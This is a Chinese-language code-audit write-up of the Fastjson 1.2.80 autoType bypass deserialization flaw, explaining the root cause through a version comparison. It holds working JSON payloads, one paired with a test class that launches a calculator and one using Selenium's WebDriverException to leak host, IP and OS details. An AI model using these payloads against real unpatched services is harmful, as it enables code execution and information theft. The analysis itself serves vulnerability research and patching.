Java代码审计之Fastjson1.2.80反序列化漏洞
0x01 漏洞寻找
在fastjson的github地址中,有如下的提交记录,内容是修复autoType的bug
https://github.com/alibaba/fastjson/commit/560782c9ee12120304284ba98b61dc61e30324b3
期望类使用了RuntimeException,而RuntimeException是继承于Throwable类
RuntimeException继承于Exception类,Exception继承于Throwable类
0x02 测试POC
// fastjson小于1.2.80版本的绕过autotype的反序列化漏洞
package com.DemoFastjson.Demo1_2_80;
import com.alibaba.fastjson.JSON;
public class Demo1_2_80 {
public static void main(String[] args){
String text2 = "{\"@type\":\"java.lang.RuntimeException\",\"@type\":\"com.DemoFastjson.Demo1_2_80.TestException\",\"stackTrace\":[{\"@type\":\"java.lang.StackTraceElement\",\"className\":\"com.DemoFastjson.Demo1_2_80.Demo1_2_80\",\"fileName\":\"Demo1_2_80.java\",\"lineNumber\":28,\"methodName\":\"main\",\"nativeMethod\":false}]}\n";
System.out.println(text2);
Object obj2 = JSON.parse(text2);
System.out.println(obj2);
}
}
测试类
package com.DemoFastjson.Demo1_2_80;
import java.io.IOException;
public class TestException extends RuntimeException{
static {
try {
Process proc = Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}
成功的执行了命令
0x03 漏洞原理
利用链的类继承于RuntimeException类,在mapping里能够匹配到RuntimeException类,从而绕过checkAutoType进入到了ThrowableDeserializer里。
0x04 漏洞修复后对比
在fastjson-1.2.80中调试,发现进入到了ThrowableDeserializer里
进入到了ThrowableDeserializer的checkAutoType函数里。那么期望类的值不再是空,而是Throwable
因为期望类的标志为True,所以这里加载了需要反序列化的类
反序列化的类加到缓存中并返回
后面就成功的反序列化了测试类。
接下来看1.2.83中调试,同样的代码在进入到checkAutoType时,红框里的代码是新增的,这里将如果期望类继承于Throwable,就置空。
回到1.2.80中,可以看到没有上述的判断
因此可以判断导致此次1.2.80及以下版本反序列化的原因是Throwable导致的。
后续就是寻找利用链。
0x05 非RCE的链
// fastjson小于1.2.80版本的绕过autotype的反序列化漏洞
package com.DemoFastjson.Demo1_2_80;
import com.alibaba.fastjson.JSON;
public class Demo1_2_80 {
public static void main(String[] args){
String text2 = "{\"@type\":\"java.lang.RuntimeException\",\"@type\":\"java.lang.Throwable\",\"content\": {\"$ref\":\"$x.systemInformation\"},\"@type\":\"org.openqa.selenium.WebDriverException\" }";
System.out.println(text2);
Object obj2 = JSON.parse(text2);
System.out.println(obj2);
}
}
selenium-api-3.141.59.jar!/org/openqa/selenium/WebDriverException.class
可以看到WebDriverException继承于RuntimeException类
public String getSystemInformation() {
return String.format("System info: host: '%s', ip: '%s', os.name: '%s', os.arch: '%s', os.version: '%s', java.version: '%s'", HOST_NAME, HOST_ADDRESS, System.getProperty("os.name"), System.getProperty("os.arch"), System.getProperty("os.version"), System.getProperty("java.version"));
}
成功的反序列化,获取到了系统信息